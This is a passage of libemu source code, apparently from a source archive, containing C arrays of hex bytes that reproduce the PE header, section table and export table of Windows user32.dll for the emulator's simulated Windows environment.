cpyn.lstrcpynA.l /* 7C808F40 */ "\x73\x74\x72\x63\x70\x79\x6E\x57\x00\x6C\x73\x74\x72\x6C\x65\x6E" // strcpynW.lstrlen /* 7C808F50 */ "\x00\x6C\x73\x74\x72\x6C\x65\x6E\x41\x00\x6C\x73\x74\x72\x6C\x65" // .lstrlenA.lstrle /* 7C808F60 */ "\x6E\x57\x00\x4E\x54\x44\x4C\x4C\x2E\x52\x74\x6C\x41\x64\x64\x56"; // nW.NTDLL.RtlAddV libemu-0.2.0+git20120122+564/src/environment/win32/dlls/user32dll.c0000644000175300017530000040362711706767213023075 0ustar dt-npbdt-npbconst char user32_7E410000[]= /* pe header and section table -dzzie*/ /* 7E410000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" //MZ..........ÿÿ.. /* 7E410020 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" //........@....... /* 7E410040 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E410060 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD8\x00\x00\x00" //............Ø... /* 7E410080 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" //.......Í!..LÍ!Th /* 7E4100A0 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" //is.program.canno /* 7E4100C0 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" //t.be.run.in.DOS. /* 7E4100E0 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" //mode....$....... /* 7E410100 */ "\xFE\x07\xE1\xE2\xBA\x66\x8F\xB1\xBA\x66\x8F\xB1\xBA\x66\x8F\xB1" //þ.áâ.f...f...f.. /* 7E410120 */ "\xBA\x66\x8E\xB1\xF1\x67\x8F\xB1\x79\x69\xD2\xB1\xBD\x66\x8F\xB1" //.f..ñg..yiÒ..f.. /* 7E410140 */ "\x79\x69\xD3\xB1\xBB\x66\x8F\xB1\x79\x69\xD1\xB1\xBB\x66\x8F\xB1" //yiÓ..f..yiÑ..f.. /* 7E410160 */ "\x79\x69\x80\xB1\xB2\x66\x8F\xB1\x79\x69\xD0\xB1\xCD\x66\x8F\xB1" //yi...f..yiÐ.Íf.. /* 7E410180 */ "\x79\x69\xD5\xB1\xBB\x66\x8F\xB1\x52\x69\x63\x68\xBA\x66\x8F\xB1" //yiÕ..f..Rich.f.. /* 7E4101A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x04\x00" //........PE..L... /* 7E4101C0 */ "\x1B\xA1\x02\x48\x5B\x4C\x6F\x72\x64\x50\x45\x5D\xE0\x00\x0E\x21" //...H[LordPE]à..! /* 7E4101E0 */ "\x0B\x01\x07\x0A\x00\xF4\x05\x00\x00\xE2\x02\x00\x00\x00\x00\x00" //.....ô...â...... /* 7E410200 */ "\x17\xB2\x00\x00\x00\x10\x00\x00\x00\xB0\x05\x00\x00\x00\x41\x7E" //..............A~ /* 7E410220 */ "\x00\x10\x00\x00\x00\x10\x00\x00\x05\x00\x01\x00\x05\x00\x01\x00" //................ /* 7E410240 */ "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x10\x09\x00\x00\x10\x00\x00" //................ /* 7E410260 */ "\x76\xFC\x08\x00\x02\x00\x00\x00\x00\x00\x04\x00\x00\x10\x00\x00" //vü.............. /* 7E410280 */ "\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00" //................ /* 7E4102A0 */ "\x00\x39\x00\x00\xA9\x4B\x00\x00\x38\xE6\x05\x00\x50\x00\x00\x00" //.9...K..8æ..P... /* 7E4102C0 */ "\x00\x30\x06\x00\x88\xA0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.0.............. /* 7E4102E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x08\x00\xE4\x2D\x00\x00" //.........à..ä-.. /* 7E410300 */ "\x24\x02\x06\x00\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //$...8........... /* 7E410320 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E410340 */ "\x10\xF0\x03\x00\x40\x00\x00\x00\x70\x02\x00\x00\x4C\x00\x00\x00" //.ð..@...p...L... /* 7E410360 */ "\x00\x10\x00\x00\xE4\x04\x00\x00\x2C\xE3\x05\x00\xA0\x00\x00\x00" //....ä...,ã...... /* 7E410380 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E4103A0 */ "\x2E\x74\x65\x78\x74\x00\x00\x00\x83\xF2\x05\x00\x00\x10\x00\x00" //.text....ò...... /* 7E4103C0 */ "\x83\xF2\x05\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.ò.............. /* 7E4103E0 */ "\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x64\x61\x74\x61\x00\x00\x00" //.......`.data... /* 7E410400 */ "\x80\x11\x00\x00\x00\x10\x06\x00\x80\x11\x00\x00\x00\x10\x06\x00" //................ /* 7E410420 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0" //............@..À /* 7E410440 */ "\x2E\x72\x73\x72\x63\x00\x00\x00\x88\xA0\x02\x00\x00\x30\x06\x00" //.rsrc........0.. /* 7E410460 */ "\x88\xA0\x02\x00\x00\x30\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.....0.......... /* 7E410480 */ "\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x72\x65\x6C\x6F\x63\x00\x00" //....@..@.reloc.. /* 7E4104A0 */ "\xE4\x2D\x00\x00\x00\xE0\x08\x00\xE4\x2D\x00\x00\x00\xE0\x08\x00" //ä-...à..ä-...à.. /* 7E4104C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42" //............@..B /* 7E4104E0 */ "\xBE\xA0\x02\x48\x28\x00\x00\x00\x2C\xA1\x02\x48\x32\x00\x01\x00" //...H(...,..H2... /* 7E410500 */ "\x2C\xA1\x02\x48\x3F\x00\x00\x00\x2C\xA1\x02\x48\x3F\x00\x00\x00" //,..H?...,..H?... /* 7E410520 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x47\x44\x49\x33\x32\x2E\x64\x6C" //........GDI32.dl /* 7E410540 */ "\x6C\x00\x4B\x45\x52\x4E\x45\x4C\x33\x32\x2E\x64\x6C\x6C\x00\x4E" //l.KERNEL32.dll.N /* 7E410560 */ "\x54\x44\x4C\x4C\x2E\x44\x4C\x4C\x00\x00\x00\x00\x00\x00\x00\x00" //TDLL.DLL........ /* 7E410580 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E4105A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; //................ const char user32_7e413900[]= /* export table -dzzie*/ /* 7E413900 */ "\x00\x00\x00\x00\x7A\x5D\x02\x48\x00\x00\x00\x00\xC0\x55\x00\x00" //....z].H....ÀU.. /* 7E413920 */ "\x01\x00\x00\x00\xDC\x02\x00\x00\xDC\x02\x00\x00\x28\x39\x00\x00" //....Ü...Ü...(9.. /* 7E413940 */ "\x98\x44\x00\x00\x08\x50\x00\x00\x73\x86\x01\x00\x40\x11\x02\x00" //.D...P..s...@... /* 7E413960 */ "\xEA\xE7\x01\x00\xE0\xD4\x05\x00\x14\x64\x04\x00\x40\x1E\x01\x00" //êç..àÔ...d..@... /* 7E413980 */ "\x56\x21\x01\x00\x27\x9C\x05\x00\x0E\x1B\x02\x00\xBA\x32\x01\x00" //V!..'........2.. /* 7E4139A0 */ "\x46\x5F\x04\x00\x52\x1E\x02\x00\xB9\xAF\x01\x00\xE9\x8F\x01\x00" //F_..R.......é... /* 7E4139C0 */ "\x7E\xCA\x05\x00\xA8\x03\x02\x00\xBE\xAE\x05\x00\xBE\xAE\x05\x00" //~Ê.............. /* 7E4139E0 */ "\x97\xAE\x05\x00\x54\x36\x01\x00\x66\xE6\x00\x00\xF6\x7D\x05\x00" //....T6..fæ..ö}.. /* 7E413A00 */ "\xE4\xC5\x01\x00\x16\xB2\x05\x00\x16\xB2\x05\x00\x0E\x75\x01\x00" //äÅ...........u.. /* 7E413A20 */ "\xC6\xB3\x01\x00\x7D\xA9\x01\x00\x1E\xA0\x01\x00\x5E\x5F\x04\x00" //Æ...}.......^_.. /* 7E413A40 */ "\x39\x50\x05\x00\x87\x04\x02\x00\x00\xB4\x05\x00\x4E\x38\x01\x00" //9P..........N8.. /* 7E413A60 */ "\xBD\x95\x04\x00\x23\x96\x04\x00\x98\xF2\x03\x00\x5E\x52\x05\x00" //....#....ò..^R.. /* 7E413A80 */ "\x17\x87\x01\x00\x45\x88\x01\x00\x57\x9E\x00\x00\x4C\xB2\x01\x00" //....E...W...L... /* 7E413AA0 */ "\xB0\xC8\x01\x00\x4E\x98\x05\x00\xB0\xB1\x01\x00\xDA\xC8\x01\x00" //.È..N.......ÚÈ.. /* 7E413AC0 */ "\x82\x98\x05\x00\x07\xD6\x01\x00\xF1\xAE\x00\x00\x26\x16\x02\x00" //.....Ö..ñ...&... /* 7E413AE0 */ "\x31\x6E\x05\x00\x67\x34\x01\x00\x2B\x8D\x00\x00\x3F\xAE\x00\x00" //1n..g4..+...?... /* 7E413B00 */ "\x16\x92\x00\x00\xD2\x90\x00\x00\xCA\x4D\x01\x00\xBD\x1A\x02\x00" //....Ò...ÊM...... /* 7E413B20 */ "\xA2\x53\x05\x00\xE1\xBD\x04\x00\x1F\x20\x01\x00\x0B\x20\x01\x00" //.S..á........... /* 7E413B40 */ "\x33\x3C\x04\x00\x0A\xA0\x00\x00\x60\x9B\x01\x00\xC5\xFD\x02\x00" //3<......`...Åý.. /* 7E413B60 */ "\x65\x02\x02\x00\x2F\x81\x01\x00\x7F\x5F\x04\x00\x18\x7D\x01\x00" //e.../...._...}.. /* 7E413B80 */ "\x91\x6C\x04\x00\x5E\xFC\x03\x00\x72\xDE\x00\x00\x14\xDC\x01\x00" //.l..^ü..rÞ...Ü.. /* 7E413BA0 */ "\x42\xA0\x01\x00\x7F\x16\x02\x00\x97\x34\x04\x00\xBB\xD9\x00\x00" //B........4...Ù.. /* 7E413BC0 */ "\x4E\xA9\x01\x00\x59\x70\x04\x00\x37\x5E\x04\x00\x2A\x16\x01\x00" //N...Yp..7^..*... /* 7E413BE0 */ "\x28\x9B\x02\x00\x0B\x68\x01\x00\x1F\xF0\x02\x00\xDB\xC7\x02\x00" //(....h...ð..ÛÇ.. /* 7E413C00 */ "\x3B\xEA\x00\x00\xBC\x70\x04\x00\x34\x71\x04\x00\x54\xD3\x00\x00" //;ê...p..4q..TÓ.. /* 7E413C20 */ "\x6C\xC8\x00\x00\xC0\xFD\x03\x00\x10\xF8\x02\x00\x06\xF3\x01\x00" //lÈ..Àý...ø...ó.. /* 7E413C40 */ "\x01\xF6\x00\x00\xE8\x16\x02\x00\xA9\xE4\x01\x00\xA3\xD0\x01\x00" //.ö..è....ä...Ð.. /* 7E413C60 */ "\x2E\x64\x04\x00\xDD\x13\x01\x00\x7B\x36\x01\x00\xE2\xE9\x00\x00" //.d..Ý...{6..âé.. /* 7E413C80 */ "\x84\xAD\x05\x00\x09\x13\x05\x00\xD1\x10\x05\x00\xA2\xA6\x05\x00" //........Ñ....... /* 7E413CA0 */ "\x8D\x1D\x05\x00\xC3\x81\x04\x00\xDE\x84\x04\x00\x69\x17\x05\x00" //....Ã...Þ...i... /* 7E413CC0 */ "\x43\x1E\x05\x00\x47\x04\x01\x00\xC4\x83\x04\x00\x3B\x84\x04\x00" //C...G...Ä...;... /* 7E413CE0 */ "\x12\x52\x04\x00\xE2\x18\x05\x00\x70\x1F\x05\x00\xF1\x11\x05\x00" //.R..â...p...ñ... /* 7E413D00 */ "\x53\xA8\x04\x00\xA6\xCA\x05\x00\x94\xA8\x04\x00\xF6\xA8\x04\x00" //S....Ê......ö... /* 7E413D20 */ "\xD7\x06\x01\x00\x0A\x20\x05\x00\x5E\x08\x01\x00\xA5\xA3\x05\x00" //×.......^....... /* 7E413D40 */ "\xA6\xAB\x05\x00\xAC\x79\x04\x00\x96\x20\x05\x00\xB3\x20\x05\x00" //.....y.......... /* 7E413D60 */ "\x6B\x82\x04\x00\xBA\xCA\x05\x00\x29\xAD\x05\x00\x7B\x13\x05\x00" //k....Ê..)...{... /* 7E413D80 */ "\x32\xA7\x04\x00\x77\xE5\x02\x00\x3A\x3D\x01\x00\x65\xF9\x03\x00" //2...wå..:=..eù.. /* 7E413DA0 */ "\x33\x08\x02\x00\xB4\xF9\x03\x00\x47\x0A\x02\x00\xDD\x68\x04\x00" //3....ù..G...Ýh.. /* 7E413DC0 */ "\x7E\xC1\x01\x00\x20\x8D\x01\x00\xDB\xAF\x01\x00\xD3\xCE\x01\x00" //~Á......Û...ÓÎ.. /* 7E413DE0 */ "\xC0\x02\x03\x00\x8D\xFE\x02\x00\x0E\x9C\x01\x00\x12\xD3\x01\x00" //À....þ.......Ó.. /* 7E413E00 */ "\x12\xD3\x01\x00\x9D\xD3\x01\x00\xD8\x7E\x05\x00\x9C\xB1\x01\x00" //.Ó...Ó..Ø~...... /* 7E413E20 */ "\xF8\xA0\x04\x00\x7D\x6D\x04\x00\xD0\x49\x01\x00\x72\x20\x02\x00" //ø...}m..ÐI..r... /* 7E413E40 */ "\x44\xB1\x02\x00\xAB\x47\x01\x00\x21\x64\x04\x00\xB8\x96\x00\x00" //D....G..!d...... /* 7E413E60 */ "\x01\x8A\x00\x00\x91\x9F\x04\x00\xDF\x38\x05\x00\x99\x75\x04\x00" //........ß8...u.. /* 7E413E80 */ "\x26\x76\x04\x00\x6D\x39\x05\x00\x57\x76\x04\x00\x43\x75\x04\x00" //&v..m9..Wv..Cu.. /* 7E413EA0 */ "\xFE\x3A\x05\x00\x64\x3B\x05\x00\xCE\xCA\x05\x00\xE2\xCA\x05\x00" //þ:..d;..ÎÊ..âÊ.. /* 7E413EC0 */ "\xF6\xCA\x05\x00\x9F\x6D\x05\x00\xD0\xB2\x05\x00\x39\xF3\x03\x00" //öÊ...m..Ð...9ó.. /* 7E413EE0 */ "\xF6\xFB\x01\x00\x4F\xF9\x01\x00\xC4\x29\x02\x00\x40\xE9\x02\x00" //öû..Où..Ä)..@é.. /* 7E413F00 */ "\x6C\xD0\x02\x00\x84\xCB\x01\x00\x9C\xF6\x03\x00\x6D\x53\x05\x00" //lÐ...Ë...ö..mS.. /* 7E413F20 */ "\x00\xF1\x03\x00\xBB\x45\x01\x00\x02\xC7\x02\x00\x39\xC7\x02\x00" //.ñ...E...Ç..9Ç.. /* 7E413F40 */ "\x15\xB4\x01\x00\xE2\xD7\x01\x00\x00\x30\x02\x00\x96\x0D\x02\x00" //....â×...0...... /* 7E413F60 */ "\xC4\xD2\x01\x00\x05\x80\x05\x00\x49\x98\x01\x00\x8D\xAF\x01\x00" //ÄÒ......I....... /* 7E413F80 */ "\x4E\x4A\x01\x00\x5A\xCB\x05\x00\xFD\x8F\x01\x00\xA5\xA0\x04\x00" //NJ..ZË..ý....... /* 7E413FA0 */ "\x9F\x76\x05\x00\xF0\xB0\x01\x00\x3D\xE5\x02\x00\x1A\x85\x01\x00" //.v..ð...=å...... /* 7E413FC0 */ "\x4B\x23\x02\x00\x3B\x85\x01\x00\x74\x8A\x01\x00\x3C\xE0\x00\x00" //K#..;...t...<à.. /* 7E413FE0 */ "\x7B\xA7\x01\x00\x67\x3A\x01\x00\xF3\x38\x01\x00\x63\x35\x01\x00" //{...g:..ó8..c5.. /* 7E414000 */ "\x2A\x36\x01\x00\xD9\x55\x04\x00\x13\x56\x04\x00\x31\x56\x04\x00" //*6..ÙU...V..1V.. /* 7E414020 */ "\xF6\x55\x04\x00\x39\xF5\x01\x00\x2E\x23\x02\x00\x4F\x56\x04\x00" //öU..9õ...#..OV.. /* 7E414040 */ "\xAE\xA5\x01\x00\x81\x9E\x01\x00\x51\x02\x02\x00\x75\xA2\x04\x00" //........Q...u... /* 7E414060 */ "\x2F\x9C\x01\x00\xE1\x82\x01\x00\x4A\x21\x02\x00\xE3\xE0\x00\x00" ///...á...J!..ãà.. /* 7E414080 */ "\xC3\xC9\x01\x00\xC4\x5F\x04\x00\x80\xCB\x05\x00\x2A\xF9\x01\x00" //ÃÉ..Ä_...Ë..*ù.. /* 7E4140A0 */ "\x77\xBA\x04\x00\xE8\xC2\x01\x00\xDC\xB3\x05\x00\xDC\xB3\x05\x00" //w...èÂ..Ü...Ü... /* 7E4140C0 */ "\x09\x0D\x02\x00\x79\xAF\x01\x00\xD6\x8E\x00\x00\xD4\xCD\x01\x00" //....y...Ö...ÔÍ.. /* 7E4140E0 */ "\x8F\xA7\x01\x00\xDA\x94\x00\x00\x28\xA9\x01\x00\xA1\xF6\x01\x00" //....Ú...(....ö.. /* 7E414100 */ "\xFF\xEB\x02\x00\x58\xDD\x00\x00\xBC\xDE\x00\x00\x1E\xE8\x01\x00" //ÿë..XÝ...Þ...è.. /* 7E414120 */ "\xF1\xF4\x01\x00\xE9\x9A\x01\x00\x5F\xF4\x01\x00\x12\x9D\x01\x00" //ñô..é..._ô...... /* 7E414140 */ "\x5C\x53\x04\x00\x8E\x90\x01\x00\xA6\xCB\x05\x00\xBA\x0D\x02\x00" //\S.......Ë...... /* 7E414160 */ "\x90\x12\x02\x00\x7F\x95\x04\x00\xA8\x0D\x02\x00\x7A\xF1\x01\x00" //............zñ.. /* 7E414180 */ "\x94\xCB\x05\x00\xBA\xCB\x05\x00\x1B\xA9\x01\x00\xF8\x47\x01\x00" //.Ë...Ë......øG.. /* 7E4141A0 */ "\xCE\xCB\x05\x00\x4E\x97\x01\x00\xC7\x86\x00\x00\x95\xC5\x01\x00" //ÎË..N...Ç....Å.. /* 7E4141C0 */ "\xD2\xD1\x01\x00\x03\x60\x04\x00\x1B\xAF\x01\x00\x6E\x43\x01\x00" //ÒÑ...`......nC.. /* 7E4141E0 */ "\x8B\xBC\x04\x00\x5E\xB0\x05\x00\x05\x43\x01\x00\x6B\xD8\x01\x00" //....^....C..kØ.. /* 7E414200 */ "\xC8\x98\x01\x00\x23\x98\x01\x00\x28\x7F\x01\x00\xE2\xCB\x05\x00" //È...#...(...âË.. /* 7E414220 */ "\x27\xD4\x01\x00\x22\x60\x04\x00\x4E\xF6\x01\x00\x0A\xCC\x05\x00" //'Ô.."`..Nö...Ì.. /* 7E414240 */ "\xA8\x21\x05\x00\xB4\xF6\x03\x00\x8F\x95\x04\x00\xD9\x9E\x01\x00" //.!...ö......Ù... /* 7E414260 */ "\xF6\x9B\x01\x00\x1B\x9C\x01\x00\x31\x36\x04\x00\x81\x14\x02\x00" //ö.......16...... /* 7E414280 */ "\x26\xD2\x01\x00\xDB\x11\x02\x00\x7A\x15\x02\x00\xF4\x94\x00\x00" //&Ò..Û...z...ô... /* 7E4142A0 */ "\xC6\xCF\x05\x00\x32\xCC\x05\x00\xBA\x14\x02\x00\x46\xCC\x05\x00" //ÆÏ..2Ì......FÌ.. /* 7E4142C0 */ "\xF9\x02\x04\x00\xFF\x52\x05\x00\x67\xF6\x00\x00\x25\x67\x04\x00" //ù...ÿR..gö..%g.. /* 7E4142E0 */ "\x1C\xEF\x01\x00\xC8\xF1\x03\x00\xAD\xF0\x01\x00\x2A\xF7\x00\x00" //.ï..Èñ...ð..*÷.. /* 7E414300 */ "\x6E\xCC\x05\x00\x67\xF9\x00\x00\x4E\xF2\x03\x00\xE4\x64\x04\x00" //nÌ..gù..Nò..äd.. /* 7E414320 */ "\x2B\x77\x01\x00\xB8\x68\x04\x00\x6C\x99\x01\x00\xE0\x9D\x01\x00" //+w...h..l...à... /* 7E414340 */ "\xC6\x91\x00\x00\x4A\xA8\x01\x00\xD9\xA6\x01\x00\x82\xCC\x05\x00" //Æ...J...Ù....Ì.. /* 7E414360 */ "\x27\xBF\x04\x00\xC3\x37\x01\x00\x91\x16\x02\x00\x0F\x91\x01\x00" //'...Ã7.......... /* 7E414380 */ "\x96\xCC\x05\x00\xE4\x63\x04\x00\x95\x91\x00\x00\x2D\x61\x04\x00" //.Ì..äc......-a.. /* 7E4143A0 */ "\x42\x00\x02\x00\xB3\x94\x01\x00\x46\xAE\x01\x00\xCD\x0D\x05\x00" //B.......F...Í... /* 7E4143C0 */ "\xBE\xCC\x05\x00\x0D\xAF\x05\x00\x58\x65\x04\x00\xE6\xCC\x05\x00" //.Ì......Xe..æÌ.. /* 7E4143E0 */ "\x24\x7F\x05\x00\xFA\xCC\x05\x00\xB4\xDF\x01\x00\xE2\xDF\x01\x00" //$...úÌ...ß..âß.. /* 7E414400 */ "\x04\xF7\x01\x00\x87\xF7\x01\x00\x52\x92\x00\x00\x96\xD8\x01\x00" //.÷...÷..R....Ø.. /* 7E414420 */ "\x78\x8E\x00\x00\xAB\x8E\x00\x00\x22\xB2\x01\x00\x9C\x8F\x00\x00" //x......."....... /* 7E414440 */ "\xA1\xA6\x04\x00\x77\xA6\x04\x00\x0D\x37\x04\x00\x51\x9A\x00\x00" //....w....7..Q... /* 7E414460 */ "\x81\xC5\x01\x00\x5B\xF2\x01\x00\xC9\xA8\x01\x00\xEC\xF5\x01\x00" //.Å..[ò..É...ìõ.. /* 7E414480 */ "\x00\x13\x02\x00\x17\x8D\x00\x00\x65\x5B\x04\x00\x9B\x5B\x04\x00" //........e[...[.. /* 7E4144A0 */ "\x55\x96\x01\x00\x80\x61\x04\x00\x21\x90\x00\x00\x9C\xC4\x01\x00" //U....a..!....Ä.. /* 7E4144C0 */ "\x5D\x94\x00\x00\xA6\x88\x00\x00\xE4\xAE\x05\x00\xE4\xAE\x05\x00" //].......ä...ä... /* 7E4144E0 */ "\x2F\x65\x04\x00\xC7\x03\x02\x00\xB4\x90\x01\x00\x43\xE4\x00\x00" ///e..Ç.......Cä.. /* 7E414500 */ "\x07\xD0\x01\x00\x6B\x21\x02\x00\x8B\xF1\x03\x00\x36\x78\x01\x00" //.Ð..k!...ñ..6x.. /* 7E414520 */ "\xCD\xA5\x01\x00\x80\x8A\x00\x00\x0C\x03\x02\x00\x05\x5B\x04\x00" //Í............[.. /* 7E414540 */ "\x35\x5B\x04\x00\x86\xB0\x01\x00\x22\xCD\x05\x00\xC0\xB4\x05\x00" //5[......"Í..À... /* 7E414560 */ "\xAF\xB4\x05\x00\xE2\xB4\x05\x00\xD1\xB4\x05\x00\x04\xB5\x05\x00" //....â...Ñ....... /* 7E414580 */ "\xF3\xB4\x05\x00\x36\xCD\x05\x00\x96\x72\x01\x00\x83\xAE\x01\x00" //ó...6Í...r...... /* 7E4145A0 */ "\xD5\x98\x01\x00\x46\x66\x04\x00\xC7\x6F\x05\x00\x26\xED\x02\x00" //Õ...Ff..Ço..&í.. /* 7E4145C0 */ "\x10\xF7\x03\x00\xC8\xF5\x00\x00\x0E\xF6\x00\x00\xA9\xC5\x01\x00" //.÷..Èõ...ö...Å.. /* 7E4145E0 */ "\x1F\x8F\x01\x00\xD5\x8F\x01\x00\xFE\xCD\x01\x00\x72\xFC\x03\x00" //....Õ...þÍ..rü.. /* 7E414600 */ "\xE6\xE5\x02\x00\x69\xF4\x03\x00\xC2\x1A\x01\x00\x83\xD6\x01\x00" //æå..iô..Â....Ö.. /* 7E414620 */ "\x89\xB8\x02\x00\xB2\xF3\x03\x00\x7E\x70\x02\x00\xDF\xA1\x05\x00" //.....ó..~p..ß... /* 7E414640 */ "\x0E\x97\x00\x00\x66\xF1\x01\x00\x89\xC6\x02\x00\x89\xC6\x02\x00" //....fñ...Æ...Æ.. /* 7E414660 */ "\x24\x74\x01\x00\xFA\x4D\x01\x00\x9F\xA1\x05\x00\x61\x9C\x05\x00" //$t..úM......a... /* 7E414680 */ "\xFF\x97\x01\x00\x68\x13\x02\x00\xFE\x98\x01\x00\xCF\xB0\x01\x00" //ÿ...h...þ...Ï... /* 7E4146A0 */ "\xA5\xB1\x00\x00\x13\x93\x01\x00\x7A\x97\x01\x00\x26\xB1\x01\x00" //........z...&... /* 7E4146C0 */ "\x72\x9F\x01\x00\x3D\x9E\x01\x00\x8A\x9C\x01\x00\xCC\x60\x04\x00" //r...=.......Ì`.. /* 7E4146E0 */ "\x42\x8C\x00\x00\x53\x15\x02\x00\x76\xEE\x01\x00\x3C\x47\x01\x00" //B...S...vî..Ó..Ë<...<.. /* 7E414720 */ "\x69\x9D\x00\x00\xF6\xE8\x01\x00\xBC\xE8\x01\x00\x08\x7C\x01\x00" //i...öè...è...|.. /* 7E414740 */ "\x97\x7B\x01\x00\x62\x62\x04\x00\x3A\x62\x04\x00\x64\x14\x02\x00" //.{..bb..:b..d... /* 7E414760 */ "\xD8\xED\x00\x00\x83\xFA\x03\x00\xBF\xEB\x01\x00\xBF\xEB\x01\x00" //Øí...ú...ë...ë.. /* 7E414780 */ "\x48\xEB\x01\x00\xB7\xEC\x00\x00\x08\xC9\x01\x00\x36\x9E\x00\x00" //Hë...ì...É..6... /* 7E4147A0 */ "\x5A\xDE\x00\x00\xC4\xF3\x00\x00\x36\x96\x02\x00\x5E\xCD\x05\x00" //ZÞ..Äó..6...^Í.. /* 7E4147C0 */ "\x16\x71\x04\x00\xDA\xC4\x00\x00\xAD\xAD\x00\x00\x55\x5D\x05\x00" //.q..ÚÄ......U].. /* 7E4147E0 */ "\x4C\xBE\x04\x00\xEA\xFE\x01\x00\x97\xB0\x05\x00\x9F\x95\x04\x00" //L...êþ.......... /* 7E414800 */ "\x9E\x02\x04\x00\x07\x95\x01\x00\x70\xCD\x05\x00\x73\x68\x04\x00" //........pÍ..sh.. /* 7E414820 */ "\x2E\x68\x04\x00\x7B\x1F\x02\x00\xEA\x07\x04\x00\x5C\x08\x04\x00" //.h..{...ê...\... /* 7E414840 */ "\x38\x08\x04\x00\x82\xA0\x02\x00\xD5\x64\x05\x00\x06\x64\x05\x00" //8.......Õd...d.. /* 7E414860 */ "\x83\x63\x05\x00\x34\x65\x05\x00\x0B\xF2\x03\x00\x1F\xF5\x00\x00" //.c..4e...ò...õ.. /* 7E414880 */ "\xF5\xAB\x01\x00\x13\xC7\x01\x00\x79\xA6\x01\x00\x9E\xB2\x01\x00" //õ....Ç..y....... /* 7E4148A0 */ "\x89\x96\x00\x00\x45\x96\x00\x00\xCB\x99\x01\x00\x3C\x02\x04\x00" //....E...Ë...<... /* 7E4148C0 */ "\xD7\x00\x02\x00\x16\x01\x02\x00\xBB\x02\x04\x00\x76\x6E\x05\x00" //×...........vn.. /* 7E4148E0 */ "\x11\x90\x01\x00\x77\x02\x02\x00\x69\x23\x02\x00\x59\x85\x01\x00" //....w...i#..Y... /* 7E414900 */ "\xE7\x60\x04\x00\xA3\xEC\x00\x00\xE1\x21\x02\x00\x0B\x5E\x04\x00" //ç`...ì..á!...^.. /* 7E414920 */ "\x61\xB9\x04\x00\x4B\x86\x01\x00\x1E\x15\x02\x00\x40\xA3\x01\x00" //a...K.......@... /* 7E414940 */ "\x9B\x92\x00\x00\xFD\xAA\x01\x00\xCB\x8C\x00\x00\x5A\xCA\x01\x00" //....ý...Ë...ZÊ.. /* 7E414960 */ "\xC5\x77\x01\x00\xB8\x77\x01\x00\x10\x38\x01\x00\x09\x0A\x05\x00" //Åw...w...8...... /* 7E414980 */ "\xC3\xD3\x00\x00\xAF\x09\x05\x00\xFC\xCC\x00\x00\x72\xCE\x05\x00" //ÃÓ......üÌ..rÎ.. /* 7E4149A0 */ "\xFE\xCE\x05\x00\x19\x97\x01\x00\xBE\xCD\x05\x00\xD2\xCD\x05\x00" //þÎ.......Í..ÒÍ.. /* 7E4149C0 */ "\xE6\xCD\x05\x00\x6B\xB3\x05\x00\x6B\xB3\x05\x00\xF6\x95\x04\x00" //æÍ..k...k...ö... /* 7E4149E0 */ "\x16\x77\x05\x00\xFF\x76\x05\x00\xFD\x96\x04\x00\x44\x99\x01\x00" //.w..ÿv..ý...D... /* 7E414A00 */ "\x5E\xEA\x01\x00\x39\x7C\x01\x00\x7F\xAF\x00\x00\x9A\xA3\x00\x00" //^ê..9|.......... /* 7E414A20 */ "\x28\x8E\x00\x00\x34\xAF\x00\x00\x3B\x1B\x01\x00\xB9\xE8\x00\x00" //(...4...;....è.. /* 7E414A40 */ "\xB3\xEB\x00\x00\x73\x2B\x01\x00\xFC\x1E\x01\x00\x0E\xCE\x05\x00" //.ë..s+..ü....Î.. /* 7E414A60 */ "\xAE\x1F\x01\x00\x04\xE1\x00\x00\x98\x61\x04\x00\x22\xCE\x05\x00" //.....á...a.."Î.. /* 7E414A80 */ "\xFF\x1C\x01\x00\x28\x8E\x00\x00\x34\xAF\x00\x00\x7A\xC3\x01\x00" //ÿ...(...4...zÃ.. /* 7E414AA0 */ "\x9D\x86\x00\x00\x16\xF7\x00\x00\x94\x00\x02\x00\x76\xC0\x01\x00" //.....÷......vÀ.. /* 7E414AC0 */ "\xF8\x86\x01\x00\x36\xCE\x05\x00\xDB\xBA\x04\x00\xA0\x97\x01\x00" //ø...6Î..Û....... /* 7E414AE0 */ "\xFC\x4D\x05\x00\xDD\xB1\x00\x00\x39\xFF\x01\x00\x87\x01\x02\x00" //üM..Ý...9ÿ...... /* 7E414B00 */ 